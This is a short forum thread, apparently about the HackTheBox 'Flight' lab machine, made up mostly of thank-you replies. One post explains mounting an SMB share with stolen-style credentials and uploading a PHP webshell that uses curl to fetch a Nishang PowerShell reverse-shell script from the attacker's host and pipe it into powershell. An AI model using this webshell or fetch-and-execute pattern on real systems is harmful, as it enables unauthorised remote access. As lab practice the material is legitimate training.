(November 6, 2022, 04:46 PM)rs4t Wrote: If it helps you, give me reputation please :)

thx

tsdaaaaaaaaaaaaaaaaaaaaaaaaSDAASDa

Thank you!! :)

As far as uploading the webshell from /web, I used mount instead of smbclient. 

sudo mount -t cifs \\\\ip\web /mnt/web -o username=c.bum,password={password},domain=flight.htb
then i made a php file which pointed to the nishang invokepowershelltcp.ps1  (which i hosted on my box with python http.server) like this

<?php

SYSTEM('curl {my-ip}/invokepowershelltcp.ps1 | powershell");

?>

I browsed to the site and got the shell quickly

Thank you so much

thanks very much

(November 6, 2022, 04:46 PM)rs4t Wrote: If it helps you, give me reputation please :)

thanks

(November 6, 2022, 04:46 PM)rs4t Wrote: If it helps you, give me reputation please :)

really

Thanks! You're the best